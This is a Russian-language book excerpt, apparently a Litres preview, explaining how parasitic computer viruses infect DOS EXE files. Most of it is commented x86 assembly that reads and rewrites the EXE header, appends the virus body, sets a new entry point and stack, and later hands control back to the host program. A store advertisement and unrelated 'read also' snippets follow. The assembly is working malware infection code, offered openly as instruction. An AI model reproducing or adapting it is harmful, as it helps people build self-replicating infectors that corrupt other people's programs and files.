Вирусы, внедряющиеся в программу (Parasitic)
Вирусы, внедряющиеся в программу (Parasitic)
Эти вирусы являются самыми «хитрыми». Поскольку такой вирус внедряется в инфицируемую программу, это дает ему много преимуществ перед всеми вышеописанными вирусами: на диске не появляются лишние файлы, нет забот с копированием и переименованием, кроме того, усложняется лечение инфицированных файлов.
Стандартное заражение EXE-файлов
Стандартное заражение – заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла управление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного COM-вируса. Чтобы выяснить способы работы с EXE-файлами, рассмотрим следующий фрагмент программы:
;Читаем заголовок EXE?файла (точнее, только первые 18h байт,
;которых вполне достаточно)
ReadHeader:
mov ah,3Fh
mov dx,offset EXEHeader
mov cx,0018h
int 21h
;Устанавливаем в SI адрес считанного заголовка. В дальнейшем
;будем обращаться к заголовку, используя SI+смещение элемента
mov si,offset EXEHeader
;Получаем реальную длину файла, переместив указатель текущей
;позиции чтения/записи в конец файла
GetRealFSize:
mov ax,4202h
mov bx,Handle
xor cx,cx
xor dx,dx
int 21h
;Сохраним полученную длину файла
mov Reallen,dx
mov Reallen+2,ax
;Так как речь идет о стандартной процедуре заражения, нужно
;помнить, что все вышесказанное не должно затрагивать
;оверлейные файлы. Их длина, указанная в заголовке,
;меньше реальной, то есть эти файлы загружаются
;в память не полностью.
;Следовательно, если заразить такой файл, вирус попадет
;в незагружаемую часть.
;Сохраним в стеке реальную длину EXE?файла
push dx
push ax
;Рассчитаем размер EXE?файла в 512?байтных страницах и остаток
CompareOVL:
mov cx,0200h
div cx
;На данный момент в регистре AX находится число страниц
;(в каждой странице содержится 512 байт),
;а в регистре DX – остаток, образующий
;еще одну (неучтенную) страницу.
;Добавим эту страницу к общему числу страниц –
;если остаток не равен нулю, то
;увеличим число страниц
or dx,dx
jz m1
inc ax
m1:
;Будем считать пригодным для заражения
;стандартным способом файлы с длиной,
;полностью совпадающей с указанной в заголовке
cmp ax,[si+PartPag]
jne ExitProc
cmp dx,[si+PageCnt]
jne ExitProc
;Чтобы вирус смог вернуть управление
;зараженной программе, сохраним поля ReloSS,
;ExeSP, ReloCS, ExeIP из заголовка EXE?файла.
;Значения констант, используемых в программе,
;равны смещению соответствующего
;элемента в заголовке EXE?файла (Приложение А)
InitRetVars:
mov ax,[si+ReloSS]
mov oldss,ax
mov ax,[si+ExeSP]
mov oldsp,ax
mov ax,[si+ReloCS]
mov oldcs,ax
mov ax,[si+ExeIP]
mov oldip,ax
;Восстановим из стека реальную длину файла
;В данном случае она совпадает с длиной, указанной в заголовке
pop ax
pop dx
;Рассчитаем длину программы с вирусом, для чего прибавим
;к длине файла длину тела вируса
add ax,VIRSIZE ;VIRSIZE – длина тела вируса
adc dx,0
;Рассчитаем получившуюся длину (одна страница – 512 байт)
;и остаток в последней странице (так же,
;как рассчитывали длину файла без вируса)
mov cx,0200h
div cx
or dx,dx
jz new_len
inc ax
New_len:
;Внесем в заголовок новую длину файла
mov [si+PageCnt],ax
mov [si+PartPag],dx
;Прочитаем реальную длину файла.
;По ней будем рассчитывать новую
;точку входа в программу (адрес запуска)
Eval_new_entry:
mov dx,Reallen+2
mov ax,Reallen
;Рассчитаем новую точку входа.
;Точка входа в вирус должна находиться
;в начале его тела. Другими словами, нужно к длине файла
;прибавить смещение точки входа.
;Разделим длину на размер параграфа (10h)
mov cx,10h
div cx
;Получили число параграфов (AX) и остаток (DX – смещение
;вируса в последнем параграфе).
;Отнимем от числа параграфов в файле число
;параграфов в заголовке – получим сегмент входа в EXE?файл
sub ax,[si+HdrSize]
;Запишем новую точку входа в заголовок
mov [si+ReloCS],ax
mov [si+ExeIP],dx
;Замечание: можно было округлить полученное число,
;и вирус начинался бы с 0000h.
;Но этого делать не стоит.
;Естественно, все обращения к данным в этом вирусе
;должны быть нефиксированными, как и в любом другом вирусе.
;Вместо ”mov ax,ANYDATA” придется делать так:
; mov si,VIRSTART
; mov ax,[si+offset ANYDATA]
;где offset ANYDATA – смещение относительно начала тела вируса
;Стек поставим за тело вируса – байт на 100h. Потом обязательно
;вернем, иначе можно стереть заготовленные в стеке значения!
;Установим сегмент стека такой же, как и кода,
;а указатель на вершину стека –
;на 100h байт после тела вируса
mov [si+ReloSS],ax
mov ax,VIRSIZE+100h
mov [si+ExeSP],ax
;Теперь запишем заголовок в файл, не забыв и тело вируса.
;Рекомендуется писать сначала тело, а потом заголовок.
;Если тело вдруг не допишется,
;то файл испортим зря
UpdateFile:
;Запишем тело вируса
WriteBody:
;Установим указатель чтения/записи в конец файла
mov bx,Handle
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h
;Запишем тело вируса в файл
mov ah,40h
mov cx,VIRSIZE
mov dx,offset VIRStart
int 21h
;Запишем заголовок
WriteHeader:
;Установим указатель чтения/записи в начало файла
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
;Запишем заголовок в файл
mov cx,0018h
mov ah,40h
mov dx,si
int 21hИтак, вирус «поселился» в EXE-файле. А как после окончания работы вируса передать управление инфицированной программе? Вот процедура выхода из вируса:
CureEXE:
StackBack:
;Установим первоначальный указатель (сегмент и смещение) стека
mov ax,ds
;Прибавим 0010h, после чего в AX будет
;находится сегмент, с которого
;загружен программный модуль
add ax,10h
;Прибавим первоначальный сегмент стека
db @add_ax ;код ADD AX, дальше по аналогии
OldSS dw ? ;это значение было установлено
;при заражении
;Запретим прерывания, так как со стеком нельзя работать,
;пока и сегмент, и смещение не установлены в нужное значение
cli
;Установим сегмент стека (PSP+10h+OldSS)
mov ss,ax
;Установим первоначальный указатель (смещение) стека
db @mov_sp
OldSP dw ?
;Разрешим прерывания – опасный участок пройден
sti
;Подготовим значения в стеке для команды IRET
RetEntryPoint:
pushf
;Рассчитаем сегмент для кода по аналогии с сегментом стека
mov ax,DATASEG
add ax,10h
db @add_ax
OldCS dw ?
;Сохраним в стеке полученное значение (PSP+10h+OldCS)
push ax
;Сохраним в стеке смещение исходной точки входа
db @mov_ax
OldIP dw ?
push ax
;Запустим программу. В стеке находятся смещение
;точки входа, сегмент точки входа и флаги
iretБолее 800 000 книг и аудиокниг! 📚
Получи 2 месяца Литрес Подписки в подарок и наслаждайся неограниченным чтением
ПОЛУЧИТЬ ПОДАРОКДанный текст является ознакомительным фрагментом.
Читайте также
(3.16) Как запустить программу как сервис?
(3.16) Как запустить программу как сервис? 1. Лучше всего это делать под аккаyнтом админа, тогда пpи любом дpyгом аккаунте созданный сервис будет продолжать работать.2. Копиpyете файлы instsrv.exe и srvany.exe в какyю-нибyдь системнyю диpектоpию, напpимеp, в winntsystem32 (Берутся из Resouce Kit
22.5.2. Как оптимизировать программу
22.5.2. Как оптимизировать программу В качестве оптимизации программы могу вам порекомендовать предпринять следующие действия:1. Запустите профайлер, и пусть он определит время работы всех функций.2. Перепишите функцию (или функции), которые занимают больше всего
Как правильно настроить программу
Как правильно настроить программу Лучше всего, конечно, настроить программу изначально. По крайней мере, так вы сможете присвоить себе удобочитаемый ник, который будет виден всем остальным участникам разговора, не говоря уже о других полезных настройках, которые зависят
Скачиваем и устанавливаем программу
Скачиваем и устанавливаем программу Понятно, что последнюю версию программы можно скачать с сайта разработчика, который, напомню, находится по адресу www.bearware.dk. Содержимое сайта написано на простом английском языке, однако это никак не может нам помешать — переходим на
Где взять и как установить программу
Где взять и как установить программу Программа Skype поставляется совершенно бесплатно. Вы просто заходите на страничку и скачиваете дистрибутив себе на компьютер. Адрес официального сайта, откуда можно скачать программу, — http://www.skype.com/go/download. Однако, думаю, что вас больше
Как установить программу
Как установить программу Обычно Windows Messenger ставится автоматически при установке Windows XP и потом доступен через главное меню Пуск | Программы. Там вы легко отыщете значок с двумя человечками и надписью Windows Messenger. Однако может так случиться, что операционная система уже была
Где взять и как установить программу
Где взять и как установить программу Компания RealVNC была основана в 2002 году группой разработчиков-энтузиастов. Потихонечку она стала разрастаться, и в ней появились люди, отвечающие за продвижение программы на рынке. Сейчас они с гордостью заявляют, что программу скачали
Добавление изображения в программу
Добавление изображения в программу Наше приложение будет использовать графические изображения. Картинки, используемые в игре, хранятся в файле самой программы в виде ресурсов. Сначала надо подготовить сами рисунки для игры. Автор программы решил использовать для игры
Как удалить программу?
Как удалить программу? Чтобы установить программу, обычно надо запустить на выполнение особый файл — дистрибутив этой программы. Далее, обсуждая различные прикладные программы, мы рассмотрим эту процедуру подробно.Если через какое-то время вы решили, что программа вам
Где взять программу ICQ?
Где взять программу ICQ? Скачайте последнюю версию программы ICQ с сайта этой службы мгновенного обмена сообщениями.Наберите в адресной строке браузера www.icq.com и нажмите клавишу Enter. Вы попадете на стартовую страницу сайта ICQ. Возможно, эта страница будет на английском
Как установить программу ICQ?
Как установить программу ICQ? Для установки программы ICQ щелкните двойным щелчком на значке дистрибутива, скачанного из Интернета (1).В ответ на предупреждение системы контроля учетных записей нажмите кнопку Да (2). Запустится программа установки. В первом диалоге выберите
Вход в программу SETUP
Вход в программу SETUP SETUP[2] – программа установки параметров BIOS, первоначальной настройки компьютера. Запускается нажатием специальной клавиши, которая зависит от производителя и версии BIOS. Данная программа позволяет произвести первоначальную настройку аппаратных
3.5. Как установить/удалить программу?
3.5. Как установить/удалить программу? При установке и удалении программ в операционной системе Microsoft Windows мы привыкли иметь дело с реестром, в который прописываются различные параметры настроек приложения в процессе его установки. Про реестр мы вспоминаем обычно не
Как установить программу на компьютер
Как установить программу на компьютер Прежде чем начать работать с новой программой, следует ее установить. Во время инсталляции приложение распаковывается из архива и помещается в одну из папок на жестком диске. Кроме того, данные о программе записываются в системный